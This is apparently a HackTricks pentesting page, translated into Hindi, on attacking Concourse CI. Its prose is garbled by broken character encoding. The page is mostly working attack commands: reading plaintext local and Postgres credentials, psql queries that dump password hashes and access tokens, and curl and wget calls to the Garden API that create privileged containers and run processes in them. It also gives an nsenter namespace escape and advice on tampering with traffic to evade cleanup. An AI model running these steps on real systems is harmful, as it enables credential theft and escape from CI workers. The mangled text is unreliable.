рднрд▓реЗ рд╣реА рд╡реЗрдм рдХрдВрдЯреЗрдирд░ рдореЗрдВ рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рдирд┐рд╖реНрдХреНрд░рд┐рдп рд╣реИрдВ, рдпрд╣ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрдВрдЯреЗрдирд░ рдХреЗ рд░реВрдк рдореЗрдВ рдирд╣реАрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк рдорд╛рдЙрдВрдЯ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рдФрд░ рдХреНрд╖рдорддрд╛рдПрдБ рдмрд╣реБрдд рд╕реАрдорд┐рдд рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдХрдВрдЯреЗрдирд░ рд╕реЗ рднрд╛рдЧрдиреЗ рдХреЗ рд╕рднреА рдЖрд╕рд╛рди рддрд░реАрдХреЗ рдмреЗрдХрд╛рд░ рд╣реИрдВ)ред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рд╕реНрдерд╛рдиреАрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИ:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

рдЖрдк рдЙрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЗ рдЦрд┐рд▓рд╛рдл рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдФрд░ рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрдВрдЯреЗрдирд░ рдмрдирд╛рдиреЗ рдФрд░ рдиреЛрдб рдкрд░ рднрд╛рдЧрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдкрд░реНрдпрд╛рд╡рд░рдг рдореЗрдВ рдЖрдк postgresql рдЙрджрд╛рд╣рд░рдг рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рдирдХрд╛рд░реА рднреА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ concourse рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ (рдкрддрд╛, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо, рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рд╕рд╛рде рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

рдЧрд╛рд░реНрдбрди рд╕реЗрд╡рд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ - рдЕрд╕рд▓реА рд╣рдорд▓рд╛ рдирд╣реАрдВ

рдпрд╣ рд╕реЗрд╡рд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдиреЛрдЯреНрд╕ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдХреЗрд╡рд▓ рд▓реЛрдХрд▓рд╣реЛрд╕реНрдЯ рдкрд░ рд╕реБрди рд░рд╣реА рд╣реИ, рдпреЗ рдиреЛрдЯреНрд╕ рдХреЛрдИ рдкреНрд░рднрд╛рд╡ рдирд╣реАрдВ рдбрд╛рд▓реЗрдВрдЧреЗ рдЬрд┐рд╕реЗ рд╣рдордиреЗ рдкрд╣рд▓реЗ рд╣реА рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рд╣реИ

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдкреНрд░рддреНрдпреЗрдХ concourse рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдкреЛрд░реНрдЯ 7777 рдореЗрдВ рдЧрд╛рд░реНрдбрди рд╕реЗрд╡рд╛ рдЪрд▓рд╛ рд░рд╣рд╛ рд╣реЛрдЧрд╛ред рдЗрд╕ рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡реЗрдм рдорд╛рд╕реНрдЯрд░ рджреНрд╡рд╛рд░рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдХреЛ рдпрд╣ рдмрддрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдЙрд╕реЗ рдХреНрдпрд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╣реИ (рдЗрдореЗрдЬ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛ рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдХрд╛рд░реНрдп рдЪрд▓рд╛рдирд╛)ред рдпрд╣ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рдХрд╛рдлреА рдЕрдЪреНрдЫрд╛ рд▓рдЧрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреБрдЫ рдЕрдЪреНрдЫреА рд╕реБрд░рдХреНрд╖рд╛ рд╣реИрдВ:

  • рдпрд╣ рдХреЗрд╡рд▓ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ (127..0.0.1) рдкреНрд░рджрд░реНрд╢рд┐рдд рд╣реИ рдФрд░ рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдЬрдм рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рд╡рд┐рд╢реЗрд╖ SSH рд╕реЗрд╡рд╛ рдХреЗ рд╕рд╛рде рд╡реЗрдм рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рддрд╛ рд╣реИ, рддреЛ рдПрдХ рд╕реБрд░рдВрдЧ рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ рддрд╛рдХрд┐ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдкреНрд░рддреНрдпреЗрдХ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рддреНрдпреЗрдХ рдЧрд╛рд░реНрдбрди рд╕реЗрд╡рд╛ рд╕реЗ рдмрд╛рдд рдХрд░ рд╕рдХреЗред

  • рд╡реЗрдм рд╕рд░реНрд╡рд░ рд╣рд░ рдХреБрдЫ рд╕реЗрдХрдВрдб рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рдХрдВрдЯреЗрдирд░реЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░ рд░рд╣рд╛ рд╣реИ, рдФрд░ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдХрдВрдЯреЗрдирд░реЛрдВ рдХреЛ рд╣рдЯрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдк рдПрдХ рдХрд╕реНрдЯрдо рдХрдВрдЯреЗрдирд░ рдЪрд▓рд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдкрдХреЛ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдФрд░ рдЧрд╛рд░реНрдбрди рд╕реЗрд╡рд╛ рдХреЗ рдмреАрдЪ рд╕рдВрд╡рд╛рдж рдХреЗ рд╕рд╛рде рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХрд░рдиреА рд╣реЛрдЧреАред

Concourse рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдЙрдЪреНрдЪ рдХрдВрдЯреЗрдирд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдЪрд▓рддреЗ рд╣реИрдВ:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

рд╣рд╛рд▓рд╛рдВрдХрд┐, рддрдХрдиреАрдХреЗрдВ рдЬреИрд╕реЗ mounting /dev рдбрд┐рд╡рд╛рдЗрд╕ рдиреЛрдб рдпрд╛ release_agent рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдВрдЧреА (рдХреНрдпреЛрдВрдХрд┐ рдиреЛрдб рдХреЗ рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рд╛рде рдЕрд╕рд▓реА рдбрд┐рд╡рд╛рдЗрд╕ рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИ, рдХреЗрд╡рд▓ рдПрдХ рд╡рд░реНрдЪреБрдЕрд▓ рд╣реИ)ред рд╣рдо рдиреЛрдб рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рд╕рдХрддреЗ, рдЗрд╕рд▓рд┐рдП рдХрд░реНрдиреЗрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕ рдХреЗ рдмрд┐рдирд╛ рдиреЛрдб рд╕реЗ рднрд╛рдЧрдирд╛ рдЬрдЯрд┐рд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред

рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рд╣рдордиреЗ рджреЗрдЦрд╛ рдХрд┐ рдХреИрд╕реЗ рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрдВрдЯреЗрдирд░ рд╕реЗ рднрд╛рдЧрдирд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рд╣рдо execute рдХрдорд╛рдВрдб рдХреЛ privileged container рдореЗрдВ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ current worker рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рд╣рдо node рдкрд░ escape рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ concourse рдХреЗ рд╕рд╛рде рдЦреЗрд▓рддреЗ рд╕рдордп рдореИрдВрдиреЗ рджреЗрдЦрд╛ рдХрд┐ рдЬрдм рдХреБрдЫ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдирдпрд╛ рдХрдВрдЯреЗрдирд░ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдХрдВрдЯреЗрдирд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдХрдВрдЯреЗрдирд░ рд╕реЗ рд╕реБрд▓рдн рд╣реЛрддреА рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдПрдХ рдХрдВрдЯреЗрдирд░ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдирдпрд╛ рдХрдВрдЯреЗрдирд░ рдмрдирд╛рдиреЗ рдЬреИрд╕рд╛ рд╣реИред

рдПрдХ рдЪрд▓ рд░рд╣реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрдВрдЯреЗрдирд░ рдХреЗ рдЕрдВрджрд░ рдЬрд╛рдирд╛

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

рдПрдХ рдирдпрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрдВрдЯреЗрдирд░ рдмрдирд╛рдирд╛

рдЖрдк рдмрд╣реБрдд рдЖрд╕рд╛рдиреА рд╕реЗ рдПрдХ рдирдпрд╛ рдХрдВрдЯреЗрдирд░ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ (рдмрд╕ рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ UID рдЪрд▓рд╛рдПрдБ) рдФрд░ рдЙрд╕ рдкрд░ рдХреБрдЫ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╡реЗрдм рд╕рд░реНрд╡рд░ рд╣рд░ рдХреБрдЫ рд╕реЗрдХрдВрдб рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рдХрдВрдЯреЗрдирд░реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ, рдФрд░ рдпрджрд┐ рдХреЛрдИ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдХрдВрдЯреЗрдирд░ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЙрд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЪреВрдВрдХрд┐ рд╕рдВрдЪрд╛рд░ HTTP рдореЗрдВ рд╣реЛ рд░рд╣рд╛ рд╣реИ, рдЖрдк рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдХрдВрдЯреЗрдирд░реЛрдВ рдХреЗ рд╣рдЯрд╛рдиреЗ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдЪрд╛рд░ рдореЗрдВ рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

рд╕рдВрджрд░реНрдн

  • https://concourse-ci.org/vars.html

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated